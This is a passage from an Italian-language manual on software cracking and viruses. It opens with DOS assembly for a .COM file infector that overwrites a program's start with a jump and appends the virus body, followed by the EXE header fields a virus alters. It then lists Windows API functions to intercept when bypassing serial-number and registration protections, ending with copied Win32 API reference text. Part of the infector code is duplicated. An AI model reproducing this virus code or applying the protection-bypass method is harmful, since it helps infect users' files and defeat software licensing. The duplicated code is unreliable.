mov ax, 3d02h ; Open read/write mode
int 21h     ; duh.
xchg ax, bx ; Handle is more useful in ù
            ; BX
```

Ed ora il codice per cui si è lavorato fino ad ora ovvero quello per infettare.
Quello che segue riguarda i files .COM

```
; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected

mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
```

```
      int 21h
      mov ax, 4200h ; Move file pointer to
      xor cx, cx ; the beginning of the
      xor dx, dx ; file
      int 21h
      mov byte ptr [bp+buffer2], 0e9h ; JMP
      mov ax, word ptr [bp+f_size]
      sub ax, part1_size ; Usually 3
      mov word ptr [bp+buffer2+1], ax    ; offset of JMP

; Encode JMP instruction to replace beginning of the file

      mov byte ptr [bp+buffer2], 0e9h ; JMP
      mov ax, word ptr [bp+f_size]
      sub ax, part1_size ; Usually 3
      mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Write the JMP instruction to the beginning of the file

      mov ah, 40h ; Write CX bytes to
      mov cx, 3 ; handle in BX from
      lea dx, [bp+buffer2] ; buffer - DS:[DX]
      int 21h
      mov ax, 4202h ; Move file pointer to
      xor cx, cx ; end of file
      xor dx, dx
      int 21h
      mov ah, 40h ; Write CX bytes
      mov cx, endofvirus - startofpart2 ; Effective size of virus
      lea dx, [bp+startofpart2] ; Begin write at start
      int 21h ; Variables buffer1

db 3 dup (?)            ; Saved bytes from the
                        ; infected file to restore
                        ; later buffer2
db 3 dup (?)            ; Temp buffer
```

Per i .EXE bisogna prima vedere un attimo di teoria.
Quello che segue è l' header di un file .EXE

Ofs	**Name**	**Size**	**Comments**
00	**Signature**	**2 bytes**	**always 4Dh 5Ah (MZ)**
***02**	**Last Page Size**	**1 word**	**number of bytes in last page**
***04**	**File Pages**	**1 word**	**number of 512 byte pages**
06	**Reloc Items**	**1 word**	**number of entries in table**
08	**Header Paras**	**1 word**	**size of header in 16 byte paras**
0A	**MinAlloc**	**1 word**	**minimum memory required in paras**
0C	**MaxAlloc**	**1 word**	**maximum memory wanted in paras**
***0E**	**PreReloc SS**	**1 word**	**offset in paras to stack segment**
***10**	**Initial SP**	**1 word**	**starting SP value**
12	**Negative checksum**	**1 word**	**currently ignored**
***14**	**Pre Reloc IP**	**1 word**	**execution start address**
***16**	**Pre Reloc CS**	**1 word**	**preadjusted start segment**
18	**Reloc table offset**	**1 word**	**is offset from start of file)**
1A	**Overlay number**	**1 word**	**ignored if not overlay**
1C	**Reserved/unused**	**2 words**	

- **sono quelli cambiati dal virus**

Per capire il tutto bisogna pensare che il file .EXE è strutturato in segmenti.
Questi segmenti possono iniziare e finire ovunque.
Quello che bisogna fare è attaccare il codice alla fine.

API DI WINDOWS.

La presente parte non vuole essere un manuale completo delle API di Windows visto il numero ragguardevole e quindi lo spazio che occuperebbero in numero di pagine.
Inoltre non è lo scopo di questo volume insegnare la programmazione in ambiente Windows ma solo quello di indicare quali funzioni potrebbero essere quelle utilizzate, e quindi da intercettare, nel caso di protezioni.
Abbiamo visto prima che alcune volte funzioni come GetDlgItemText, GetDlgItemInt, GetWindowText ecc. erano quelle ricercate al fine di comprendere dove si trovavano le routines che eseguivano le richieste delle stringhe relative ai codici.
Altre volte il codice relativo alle funzioni di gestione delle serializzazioni sono più complesse, per volere dei progettisti, per cui l'individuazione dei moduli veri e propri risulta essere più complessa, raggiungibile soltanto mediante la ricerca di altre funzioni come ad esempio quelle che leggono e scrivono informazioni dentro al file di registro.
Avrete notato che alcune volte caricando dei programmi per la prima volta vi veniva richiesto il numero di serie.
Se per qualche motivo vi capitava di dover eliminare dal disco quel programma e poi rinserirlo avrete notato che i codici di attivazione non vi venivano più richiesti.
Le informazioni inserite la prima volta sicuramente venivano salvate da qualche parte e precisamente nel file di registro.
Le funzioni che eseguono funzionalità su questo possono essere dei buoni obbiettivi per identificare certi moduli.
Nelle seguenti pagine riporto un elenco delle funzioni API più facilmente utilizzate nei moduli di cui stiamo parlando.
Come al solito le informazioni provengono da files freeware trovati su Internet.
Come ho detto all'inizio non si tratta di tutte le funzioni ma solo di quelle che potrebbero essere utilizzate nei moduli di registrazione.
Le funzioni spesso sono le più svariate.
Alcune volte ad esempio viene richiesto che l'installazione avvenga dal CD per cui le API potrebbero essere quelle legate al controllo dei dischi quali GetDriveTypeA oppure GetVolumeInformation.
Altre volte potrebbero essere funzioni legate alla lettura di campi come ad esempio GetDlgItemTextA ecc.
Insomma.
Le funzioni elencate sono quelle maggiormente utilizzate per i nostri obiettivi.
Ricordatevi che queste API vengono importate dal programma e a ciascuna gli viene assegnato un indirizzo.
SoftIce o Wdasm vi mostrano in forma simbolica i nomi per cui le ricerche avvengono per nome vero e proprio.
Gli argomenti potrete ricavarli dalle informazioni riportate.
Dimenticavo che spesso possiamo ricercare le classiche funzioni di libreria del C destinate alla manipolazione di stringhe come ad esempio _lstrcmp o _lstrlen.
Queste possono essere usate per comparare due stringhe, per valutare la lunghezza ecc.
C'è anche da tenere sempre presente che le funzioni sono anche relative al linguaggio usato per la creazione delle procedure di timelock.
Alcune volte il programmatore che ha scritto il programma ha ideato ed implementato anche le routine di serializzazione.
In questo caso sicuramente le funzioni usate in tali routine sono nello stesso linguaggio del resto del programma.
Esistono software commerciali che permettono l'aggiunta di routine per la gestione dei demo in file eseguibili.
Programmi seri come quelli di Symantec, Macromedia ecc. usano programmi commerciali per le loro versioni demo.
Questi sono casi a parte in quanto essendo fatti su misura per queste funzioni utilizzano metodi "molto" professionali legati ad algoritmi di crittografia ecc.

Se le funzioni di serializzazione sono scritte nello stesso linguaggio del programma allora si tratterà di identificare quale è in quanto le funzioni da cercare saranno relative a questo.
Supponiamo di cercare la funzione che fa comparire una dialog che avvisa che il codice è errato di un programma scritto in C.
In questo caso, lo abbiamo già visto, dovremmo cercare una MessageBox.
Se il programma è scritto in Delphi allora il nome della funzione potrebbe essere ShowMessage() o MessageDlg().
Se i linguaggi si supportano sulle DLL di Windows alla fine utilizzeranno le seguenti API.
Infatti è possibile vedere le funzioni importate dei vari RUNTIME (di visualbasic, delphi ecc.)
Il seguente spezzone di lista mostra alcune funzioni importate da VisualBasic:

```
Imported functions : c:\Windows\VBRUN300.DLL
============================================
GDI          1 SETBKCOLOR                  GDI         83 GETPIXEL
GDI          2 SETBKMODE                   GDI         85 GETROP2
GDI          3 SETMAPMODE                  GDI         87 GETSTOCKOBJECT
GDI          4 SETROP2                     GDI         91 GETTEXTEXTENT
GDI          7 SETSTRETCHBLTMODE           GDI         92 GETTEXTFACE
GDI          9 SETTEXTCOLOR                GDI         93 GETTEXTMETRICS
GDI         11 SETWINDOWORG                GDI         97 GETWINDOWORG
GDI         13 SETVIEWPORTORG              GDI        106 SETBITMAPBITS
GDI         14 SETVIEWPORTEXT              GDI        127 DELETEMETAFILE
GDI         15 OFFSETWINDOWORG             GDI        148 SETBRUSHORG
GDI         19 LINETO                      GDI        150 UNREALIZEOBJECT
GDI         20 MOVETO                      GDI        151 COPYMETAFILE
GDI         21 EXCLUDECLIPRECT             GDI        153 CREATEIC
GDI         22 INTERSECTCLIPRECT           GDI        154 GETNEARESTCOLOR
GDI         23 ARC                         GDI        159 GETMETAFILEBITS
GDI         24 ELLIPSE                     GDI        160 SETMETAFILEBITS
GDI         26 PIE                         GDI        172 SETRECTRGN
GDI         27 RECTANGLE                   GDI        175 ENUMMETAFILE
GDI         28 ROUNDRECT                   GDI        176 PLAYMETAFILERECORD
GDI         29 PATBLT                      GDI        351 EXTTEXTOUT
GDI         30 SAVEDC                      GDI        360 CREATEPALETTE
GDI         34 BITBLT                      GDI        363 GETPALETTEENTRIES
GDI         35 STRETCHBLT                  GDI        439 STRETCHDIBITS
GDI         38 ESCAPE                      GDI        440 SETDIBITS
GDI         39 RESTOREDC                   GDI        441 GETDIBITS
GDI         45 SELECTOBJECT                GDI        442 CREATEDIBITMAP
GDI         47 COMBINERGN                  KERNEL       1 FATALEXIT
GDI         48 CREATEBITMAP                KERNEL       3 GETVERSION
GDI         50 CREATEBRUSHINDIRECT         KERNEL       4 LOCALINIT
GDI         51 CREATECOMPATIBLEBITMAP      KERNEL       5 LOCALALLOC
GDI         52 CREATECOMPATIBLEDC          KERNEL       6 LOCALREALLOC
GDI         53 CREATEDC                    KERNEL       7 LOCALFREE
GDI         57 CREATEFONTINDIRECT          KERNEL       8 LOCALLOCK
GDI         58 CREATEHATCHBRUSH            KERNEL       9 LOCALUNLOCK
GDI         61 CREATEPEN                   KERNEL      10 LOCALSIZE
GDI         62 CREATEPENINDIRECT           KERNEL      15 GLOBALALLOC
GDI         64 CREATERECTRGN               KERNEL      16 GLOBALREALLOC
GDI         66 CREATESOLIDBRUSH            KERNEL      17 GLOBALFREE
GDI         68 DELETEDC                    KERNEL      18 GLOBALLOCK
GDI         69 DELETEOBJECT                KERNEL      19 GLOBALUNLOCK
GDI         70 ENUMFONTS                   KERNEL      20 GLOBALSIZE
GDI         74 GETBITMAPBITS               KERNEL      21 GLOBALHANDLE
GDI         75 GETBKCOLOR                  KERNEL      22 GLOBALFLAGS
GDI         77 GETCLIPBOX                  KERNEL      23 LOCKSEGMENT
GDI         80 GETDEVICECAPS               KERNEL      24 UNLOCKSEGMENT
GDI         82 GETOBJECT                   KERNEL      30 WAITEVENT
```

```
KERNEL       36 GETCURRENTTASK
KERNEL       37 GETCURRENTPDB
KERNEL       46 FREEMODULE
KERNEL       47 GETMODULEHANDLE
KERNEL       49 GETMODULEFILENAME
KERNEL       50 GETPROCADDRESS
KERNEL       52 FREEPROCINSTANCE
KERNEL       57 GETPROFILEINT
KERNEL       58 GETPROFILESTRING
KERNEL       60 FINDRESOURCE
KERNEL       62 LOCKRESOURCE
KERNEL       64 ACCESSRESOURCE
KERNEL       65 SIZEOFRESOURCE
KERNEL       74 OPENFILE
KERNEL       81 _LCLOSE
KERNEL       82 _LREAD
KERNE        84_LLSEEK
```

Per motivi di spazio la lista è stata troncata.
Se volete ricostruirle relative ad ogni RunTime potete usare ScanBin sulle DLL tipo VBRUN400.DLL ecc.
Il nome prima del numero e del nome della funzione è la DLL da cui proviene.
I testi sono originali in lingua inglese per evitare mie interpretazioni errate.

GetDlgItem

The GetDlgItem function retrieves the handle of a control in the specified dialog box.

```
HWND GetDlgItem(
HWND hDlg,     // handle of dialog box
int nIDDlgItem  //identifier of control
);
```

Parameters

hDlg

Identifies the dialog box that contains the control.

nIDDlgItem

Specifies the identifier of the control to be retrieved.

Return Values

If the function succeeds, the return value is the window handle of the given control.
If the function fails, the return value is NULL, indicating an invalid dialog box handle or a nonexistent control.

Remarks

You can use the GetDlgItem function with any parent-child window pair, not just with dialog boxes. As long as the hDlg parameter specifies a parent window and the child window has a unique identifier (as specified by the hMenu parameter in the CreateWindow or CreateWindowEx function that created the child window), *GetDlgItem returns a valid handle to the child window.

See Also

CreateWindow, CreateWindowEx, GetDlgItemInt, GetDlgItemText
GetDlgItemInt

The GetDlgItemInt function translates the text of a specified control in a dialog box into an integer value.

```
UINT GetDlgItemInt(
HWND hDlg,                // handle to dialog box
int nIDDlgItem,             // control identifier
BOOL *lpTranslated,  // points to variable to receive success/failure indicator
BOOL bSigned              // specifies whether value is signed or unsigned
);
```

Parameters

hDlg

Handle to the dialog box that contains the control of interest.

nIDDlgItem

Dialog item identifier that specifies the control whose text is to be translated.

lpTranslated

Points to a Boolean variable that receives a function success/failure value. TRUE indicates success, FALSE indicates failure.

This parameter is optional: it can be NULL. In that case, the function returns no information about success or failure.

bSigned

Specifies whether the function should examine the text for a minus sign at the beginning and return a signed integer value if it finds one. TRUE specifies that this should be done, FALSE that it should not.

Return Values

If the function succeeds, the variable pointed to by lpTranslated is set to TRUE, and the return value is the translated value of the control text.

If the function fails, the variable pointed to by lpTranslated is set to FALSE, and the return value is zero. Note that, since zero is a possible translated value, a return value of zero does not by itself indicate failure.

If lpTranslated is NULL, the function returns no information about success or failure.

If the bSigned parameter is TRUE, specifying that the value to be retrieved is a signed integer value, cast the return value to an int type.

Remarks

The GetDlgItemInt function retrieves the text of the given control by sending the control a WM_GETTEXT message. The function translates the retrieved text by stripping any extra spaces at the beginning of the text and then converting the decimal digits. The function stops translating when it reaches the end of the text or encounters a nonnumeric character.

If the bSigned parameter is TRUE, the GetDlgItemInt function checks for a minus sign (-) at the beginning of the text and translates the text into a signed integer value. Otherwise, the function creates an unsigned integer value.

The GetDlgItemInt function returns zero if the translated value is greater than INT_MAX (for signed numbers) or UINT_MAX (for unsigned numbers).

See Also

GetDlgItem

GetDlgItemText

The GetDlgItemText function retrieves the title or text associated with a control in a dialog box.

```
UINT GetDlgItemText(
HWND hDlg,        // handle of dialog box
int nIDDlgItem,     // identifier of control
```

```
LPTSTR lpString, // address of buffer for text
int nMaxCount     // maximum size of string
);
```

Parameters

hDlg

Identifies the dialog box that contains the control.

nIDDlgItem

Specifies the identifier of the control whose title or text is to be retrieved.

lpString

Points to the buffer to receive the title or text.

nMaxCount

Specifies the maximum length, in characters, of the string to be copied to the buffer pointed to by lpString. If the length of the string exceeds the limit, the string is truncated.

Return Values

If the function succeeds, the return value specifies the number of characters copied to the buffer, not including the terminating null character.

If the function fails, the return value is zero.

Remarks

The GetDlgItemText function sends a WM_GETTEXT message to the control.

See Also

GetDlgItemInt

GetLocalTime

The GetLocalTime function retrieves the current local date and time.

```
VOID GetLocalTime(
LPSYSTEMTIME lpSystemTime // address of system time structure
);
```

Parameters

lpSystemTime

Points to a SYSTEMTIME structure to receive the current local date and time.

Return Values

This function does not return a value.

See Also

GetSystemTime

GetOpenFileName

The GetOpenFileName function creates an Open common dialog box that lets the user specify the drive, directory, and the name of a file or set of files to open.

```
BOOL GetOpenFileName(
LPOPENFILENAME lpofn  // address of structure with initialization data
);
```

Parameters

lpofn

Pointer to an OPENFILENAME structure that contains information used to initialize the dialog box. When GetOpenFileName returns, this structure contains information about the user's file selection.

Return Values

If the user specifies a filename and clicks the OK button, the return value is nonzero. The buffer pointed to by the lpstrFile member of the OPENFILENAME structure contains the full path and filename specified by the user.

If the user cancels or closes the Open dialog box or an error occurs, the return value is zero. To get extended error information, call the CommDlgExtendedError function, which can return one of the following values:

CDERR_FINDRESFAILURE
CDERR_NOHINSTANCE
CDERR_INITIALIZATION
CDERR_NOHOOK
CDERR_LOCKRESFAILURE
CDERR_NOTEMPLATE
CDERR_LOADRESFAILURE
CDERR_STRUCTSIZE
CDERR_LOADSTRFAILURE
FNERR_BUFFERTOOSMALL
CDERR_MEMALLOCFAILURE
FNERR_INVALIDFILENAME
CDERR_MEMLOCKFAILURE
FNERR_SUBCLASSFAILURE

Remarks

By default, Windows 95 and Windows NT version 4.0 display a new version of the Open dialog box that provides user-interface features that are similar to the Windows Explorer. You can provide an OFNHookProc hook procedure for an Explorer-style Open dialog box. To enable the hook procedure, set the OFN_EXPLORER and OFN_ENABLEHOOK flags in the Flags member of the OPENFILENAME structure and specify the address of the hook procedure in the lpfnHook member.
Windows 95 and Windows NT 4.0 continue to support the old-style Open dialog box for applications that want to maintain a user-interface consistent with the Windows 3.1 or Windows NT 3.51 user-interface. To display the old-style Open dialog box, enable an OFNHookProcOldStyle hook procedure and ensure that the OFN_EXPLORER flag is not set.

GetPrivateProfileInt

The GetPrivateProfileInt function retrieves an integer associated with a key in the specified section of the given initialization file. This function is provided for compatibility with 16-bit Windows-based applications. Win32-based applications should store initialization information in the registry.

```
UINT GetPrivateProfileInt(
LPCTSTR lpAppName, // address of section name
```

```
LPCTSTR lpKeyName, // address of key name
INT nDefault,                 // return value if key name is not found

LPCTSTR lpFileName   // address of initialization filename
);
```

Parameters

lpAppName

Points to a null-terminated string containing the section name in the initialization file.

lpKeyName

Points to the null-terminated string containing the key name whose value is to be retrieved. This value is in the form of a string; the GetPrivateProfileInt function converts the string into an integer and returns the integer.

nDefault

Specifies the default value to return if the key name cannot be found in the initialization file.

lpFileName

Points to a null-terminated string that names the initialization file. If this parameter does not contain a full path to the file, Windows searches for the file in the Windows directory.

Return Values

If the function succeeds, the return value is the integer equivalent of the string following the specified key name in the specified initialization file. If the key is not found, the return value is the specified default value. If the value of the key is less than zero, the return value is zero.

Remarks

The function searches the file for a key that matches the name specified by the lpKeyName parameter under the section name specified by the lpAppName parameter. A section in the initialization file must have the following form:

```
[section]
key=value
.
.
.
```

The GetPrivateProfileInt function is not case-sensitive; the strings in lpAppName and lpKeyName can be a combination of uppercase and lowercase letters.

An application can use the GetProfileInt function to retrieve an integer value from the WIN.INI file.

Windows NT:

Calls to private profile functions may be mapped to the registry instead of to the specified initialization files. This mapping occurs when the initialization file and section are specified in the registry under the following keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\

Windows NT\CurrentVersion\IniFileMapping

This mapping is likely if an application modifies system-component initialization files, such as CONTROL.INI, SYSTEM.INI, and WINFILE.INI. In these cases, the GetPrivateProfileInt function retrieves information from the registry, not from the initialization file; the change in the storage location has no effect on the function's behavior.

The Win32 Profile functions (Get/WriteProfile*, Get/WritePrivateProfile*) use the following steps to locate initialization information:

1. Look in the registry for the name of the initialization file, say myfile.ini, under IniFileMapping:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping\myfile.ini

2. Look for the section name specified by lpAppName. This will be a named value under myfile.ini, or a subkey of myfile.ini, or will not exist.

3. If the section name specified by lpAppName is a named value under myfile.ini, then that value specifies where in the registry you will find the keys for the section.

4. If the section name specified by lpAppName is a subkey of myfile.ini, then named values under that subkey specify where in the registry you will find the keys for the section. If the key you are looking for does not exist as a named value, then there will be an unnamed value (shown as "<No Name>") that specifies the default location in the registry where you will find the key.

5. If the section name specified by lpAppName does not exist as a named value or as a subkey under myfile.ini, then there will be an unnamed value (shown as "<No Name>") under myfile.ini that specifies the default location in the registry where you will find the keys for the section.

6. If there is no subkey for myfile.ini, or if there is no entry for the section name, then look for the actual myfile.ini on the disk and read its contents.

When looking at values in the registry that specify other registry locations, there are several prefixes that change the behavior of the ini file mapping:

! - this character forces all writes to go both to the registry and to the .INI file on disk.

- this character causes the registry value to be set to the value in the Windows 3.1 .INI file when a new user logs in for the first time after setup.

@ - this character prevents any reads from going to the .INI file on disk if the requested data is not found in the registry.

USR: - this prefix stands for HKEY_CURRENT_USER, and the text after the prefix is relative to that key.

SYS: - this prefix stands for HKEY_LOCAL_MACHINE\SOFTWARE, and the text after the prefix is relative to that key.

See Also

GetProfileInt

GetPrivateProfileString

The GetPrivateProfileString function retrieves a string from the specified section in an initialization file. This function is provided for compatibility with 16-bit Windows-based applications. Win32-based applications should store initialization information in the registry.

```
DWORD GetPrivateProfileString(
LPCTSTR lpAppName, // points to section name
LPCTSTR lpKeyName, // points to key name
LPCTSTR lpDefault,     // points to default string

LPTSTR lpReturnedString, // points to destination buffer
DWORD nSize, // size of destination buffer
LPCTSTR lpFileName // points to initialization filename
);
```

Parameters

lpAppName

Points to a null-terminated string that specifies the section containing the key name. If this parameter is NULL, the GetPrivateProfileString function copies all section names in the file to the supplied buffer.

lpKeyName

Pointer to the null-terminated string containing the key name whose associated string is to be retrieved. If this parameter is NULL, all key names in the section specified by the lpAppName parameter are copied to the buffer specified by the lpReturnedString parameter.

lpDefault

Pointer to a null-terminated default string. If the lpKeyName key cannot be found in the initialization file, GetPrivateProfileString copies the default string to the lpReturnedString buffer. This parameter cannot be NULL.

Avoid specifying a default string with trailing blank characters. The function inserts a null character in the lpReturnedString buffer to strip any trailing blanks.
Windows 95: Although lpDefault is declared as a constant parameter, Windows 95 strips any trailing blanks by inserting a null character into the lpDefault string before copying it to the lpReturnedString buffer.

Windows NT: Windows NT does not modify the lpDefault string. This means that if the default string contains trailing blanks, the lpReturnedString and lpDefault strings will not match when compared using the lstrcmp function.

lpReturnedString

Pointer to the buffer that receives the retrieved string.

nSize

Specifies the size, in characters, of the buffer pointed to by the lpReturnedString parameter.

lpFileName

Pointer to a null-terminated string that names the initialization file. If this parameter does not contain a full path to the file, Windows searches for the file in the Windows directory.

Return Values

If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.

If neither lpAppName nor lpKeyName is NULL and the supplied destination buffer is too small to hold the requested string, the string is truncated and followed by a null character, and the return value is equal to nSize minus one.

If either lpAppName or lpKeyName is NULL and the supplied destination buffer is too small to hold all the strings, the last string is truncated and followed by two null characters. In this case, the return value is equal to nSize minus two.

Remarks

The GetPrivateProfileString function searches the specified initialization file for a key that matches the name specified by the lpKeyName parameter under the section heading specified by the lpAppName parameter. If it finds the key, the function copies the corresponding string to the buffer. If the key does not exist, the function copies the default character string specified by the lpDefault parameter. A section in the initialization file must have the following form:

```
[section]
key=string
.
.
.
```

If lpAppName is NULL, GetPrivateProfileString copies all section names in the specified file to the supplied buffer. If lpKeyName is NULL, the function copies all key names in the specified section to the supplied buffer. An application can use this method to enumerate all of the sections and keys in a file. In either case, each string is followed by a null character and the final string is followed by a second null character. If the supplied destination buffer is too small to hold all the strings, the last string is truncated and followed by two null characters.

If the string associated with lpKeyName is enclosed in single or double quotation marks, the marks are discarded when the GetPrivateProfileString function retrieves the string.

The GetPrivateProfileString function is not case-sensitive; the strings can be a combination of uppercase and lowercase letters.

To retrieve a string from the WIN.INI file, use the GetProfileString function.

Windows NT:

Calls to private profile functions may be mapped to the registry instead of to the specified initialization files. This mapping occurs when the initialization file and section are specified in the registry under the following keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping

This mapping is likely if an application modifies system-component initialization files, such as CONTROL.INI, SYSTEM.INI, and WINFILE.INI. In these cases, the GetPrivateProfileString function retrieves information from the registry, not from the initialization file; the change in the storage location has no effect on the function's behavior.

The Win32 Profile functions (Get/WriteProfile*, Get/WritePrivateProfile*) use the following steps to locate initialization information:

1. Look in the registry for the name of the initialization file, say myfile.ini, under IniFileMapping:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping\myfile.ini

2. Look for the section name specified by lpAppName. This will be a named value under myfile.ini, or a subkey of myfile.ini, or will not exist.

3. If the section name specified by lpAppName is a named value under myfile.ini, then that value specifies where in the registry you will find the keys for the section.

4. If the section name specified by lpAppName is a subkey of myfile.ini, then named values under that subkey specify where in the registry you will find the keys for the section. If the key you are looking for does not exist as a named value, then there will be an unnamed value (shown as "<No Name>") that specifies the default location in the registry where you will find the key.

5. If the section name specified by lpAppName does not exist as a named value or as a subkey under myfile.ini, then there will be an unnamed value (shown as "<No Name>") under myfile.ini that specifies the default location in the registry where you will find the keys for the section.

6. If there is no subkey for myfile.ini, or if there is no entry for the section name, then look for the actual myfile.ini on the disk and read its contents.

When looking at values in the registry that specify other registry locations, there are several prefixes that change the behavior of the ini file mapping:

! - this character forces all writes to go both to the registry and to the .INI file on disk.

- this character causes the registry value to be set to the value in the Windows 3.1 .INI file when a new user logs in for the first time after setup.

@ - this character prevents any reads from going to the .INI file on disk if the requested data is not found in the registry.

USR: - this prefix stands for HKEY_CURRENT_USER, and the text after the prefix is relative to that key.

SYS: - this prefix stands for HKEY_LOCAL_MACHINE\SOFTWARE, and the text after the prefix is relative to that key.

See Also

GetProfileSint

GetSystemTime

The GetSystemTime function retrieves the current system date and time. The system time is expressed in Coordinated Universal Time (UTC).

```
VOID GetSystemTime(
LPSYSTEMTIME lpSystemTime  // address of system time structure
);
```

Parameters

lpSystemTime

Points to a SYSTEMTIME structure to receive the current system date and time.

Return Values

This function does not return a value.

See Also

GetLocalTime, GetSystemTimeAdjustment, SetSystemTime, SYSTEMTIME

GetSystemTimeAsFileTime

The GetSystemTimeAsFileTime function obtains the current system date and time. The information is in Coordinated Universal Time (UTC) format.

```
VOID GetSystemTimeAsFileTime(
LPFILETIME lpSystemTimeAsFileTime // pointer to a file time structure
);
```

Parameters

lpSystemTimeAsFileTime

Pointer to a FILETIME structure to receive the current system date and time in UTC format.

Return Values

This function does not return a value.

Remarks

The GetSystemTimeAsFileTime function is equivalent to the following code sequence:

```
FILETIME ft;
SYSTEMTIME st;

GetSystemTime(&st);
SystemTimeToFileTime(&st,&ft);
```

See Also

FILETIME, GetSystemTime, SYSTEMTIME, SystemTimeToFileTime

GetWindowLong

The GetWindowLong function retrieves information about the specified window. The function also retrieves the 32-bit (long) value at the specified offset into the extra window memory of a window.

```
LONG GetWindowLong(
HWND hWnd, // handle of window
int nIndex  // offset of value to retrieve
);
```

Parameters

hWnd

Identifies the window and, indirectly, the class to which the window belongs.

nIndex

Specifies the zero-based offset to the value to be retrieved. Valid values are in the range zero through the number of bytes of extra window memory, minus four; for example, if you specified 12 or more bytes of extra memory, a value of 8 would be an index to the third 32-bit integer. To retrieve any other value, specify one of the following values:

GWL_EXSTYLE
Retrieves the extended window styles.

GWL_STYLE
Retrieves the window styles.

GWL_WNDPROC
Retrieves the address of the window procedure, or a handle representing the address of the window procedure. You must use the CallWindowProc function to call the window procedure.

GWL_HINSTANCE
Retrieves the handle of the application instance.

GWL_HWNDPARENT
Retrieves the handle of the parent window, if any.

GWL_ID
Retrieves the identifier of the window.

GWL_USERDATA
Retrieves the 32-bit value associated with the window. Each window has a corresponding 32-bit value intended for use by the application that created the window.

The following values are also available when the hWnd parameter identifies a dialog box:

DWL_DLGPROC
Retrieves the address of the dialog box procedure, or a handle representing the address of the dialog box procedure. You must use the CallWindowProc function to call the dialog box procedure.

DWL_MSGRESULT
Retrieves the return value of a message processed in the dialog box procedure.

DWL_USER
Retrieves extra information private to the application, such as handles or pointers.

Return Values

If the function succeeds, the return value is the requested 32-bit value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Remarks

Reserve extra window memory by specifying a nonzero value in the cbWndExtra member of the WNDCLASS structure used with the RegisterClass function.

See Also

CallWindowProc, GetWindowWord, RegisterClass, SetParent

GetWindowText

The GetWindowText function copies the text of the specified window's title bar (if it has one) into a buffer. If the specified window is a control, the text of the control is copied.

```
int GetWindowText(
HWND hWnd, // handle of window or control with text
LPTSTR lpString, // address of buffer for text
int nMaxCount // maximum number of characters to copy
);
```

Parameters

hWnd

Identifies the window or control containing the text.

lpString

Points to the buffer that will receive the text.

nMaxCount

Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.

Return Values

If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError.

This function cannot retrieve the text of an edit control in another application.

Remarks

This function causes a WM_GETTEXT message to be sent to the specified window or control.

This function cannot retrieve the text of an edit control in another application.

See Also

GetWindowTextLength

GetWindowTextLength

The GetWindowTextLength function retrieves the length, in characters, of the specified window's title bar text (if the window has a title bar). If the specified window is a control, the function retrieves the length of the text within the control.

```
int GetWindowTextLength(
HWND hWnd // handle of window or control with text
);
```

Parameters

hWnd

Identifies the window or control.

Return Values

If the function succeeds, the return value is the length, in characters, of the text. Under certain conditions, this value may actually be greater than the length of the text. For more information, see the following Remarks section.

If the window has no text, the return value is zero. To get extended error information, call GetLastError.

Remarks

This function causes a WM_GETTEXTLENGTH message to be sent to the specified window or control.

Under certain conditions, the GetWindowTextLength function may return a value that is larger than the actual length of the text. This occurs with certain mixtures of ANSI and Unicode, and is due to the operating system allowing for the possible existence of DBCS characters within the text. The return value, however, will always be at least as large as the actual length of the text; you can thus always use it to guide buffer allocation. This behavior can occur when an application uses both ANSI functions and common dialogs, which use Unicode. It can also occur when an application uses the ANSI flavor of GetWindowTextLength with a window whose window procedure is Unicode, or the Unicode flavor with a window whose window procedure is ANSI.

To obtain the exact length of the text, use the WM_GETTEXT, LB_GETTEXT, or CB_GETLBTEXT messages, or the GetWindowText function.

See Also

CB_GETLBTEXT, GetWindowText, LB_GETTEXT, SetWindowText

CharUpper

The CharUpper function converts a character string or a single character to uppercase. If the operand is a character string, the function converts the characters in place. This function supersedes the AnsiUpper function.

```
LPTSTR CharUpper(
LPTSTR lpsz  // single character or pointer to string
);
```

Parameters

lpsz

Pointer to a null-terminated string or specifies a single character. If the high-order word of this parameter is zero, the low-order word must contain a single character to be converted.

Return Values

If the operand is a character string, the function returns a pointer to the converted string. Since the string is converted in place, the return value is equal to lpsz.

If the operand is a single character, the return value is a 32-bit value whose high-order word is zero, and low-order word contains the converted character.

There is no indication of success or failure. Failure is rare.

Remarks

Windows NT: To make the conversion, the function uses the language driver for the current language selected by the user at setup or by using the Control Panel. If no language has been selected, Windows completes the conversion by using internal default mapping. The conversion is made based on the code page associated with the process locale.

Windows 95: The function makes the conversion based on the information associated with the user's default locale, which is the locale selected by the user at setup or by using the Control Panel. Windows 95 does not have language drivers.

See Also

CharLower

CharLower

The CharLower function converts a character string or a single character to lowercase. If the operand is a character string, the function converts the characters in place. This function supersedes the AnsiLower function.

```
LPTSTR CharLower(
LPTSTR lpsz // single character or pointer to string
);
```

Parameters

lpsz

Pointer to a null-terminated string or specifies a single character. If the high-order word of this parameter is zero, the low-order word must contain a single character to be converted.

Return Values

If the operand is a character string, the function returns a pointer to the converted string. Since the string is converted in place, the return value is equal to lpsz.

If the operand is a single character, the return value is a 32-bit value whose high-order word is zero, and low-order word contains the converted character.

There is no indication of success or failure. Failure is rare.

Remarks

Windows NT: To make the conversion, the function uses the language driver for the current language selected by the user at setup or by using the Control Panel. If no language has been selected, Windows completes the conversion by using internal default mapping. The conversion is made based on the code page associated with the process locale.

Windows 95: The function makes the conversion based on the information associated with the user's default locale, which is the locale selected by the user at setup or by using the Control Panel. Windows 95 does not have language drivers.

See Also

CharLowerBuff, CharUpper

CreateDialog

The CreateDialog macro creates a modeless dialog box from a dialog box template resource. The CreateDialog macro uses the CreateDialogParam function.

```
HWND CreateDialog(
HINSTANCE hInstance, // handle to application instance
LPCTSTR lpTemplate, // identifies dialog box template name
HWND hWndParent, // handle to owner window
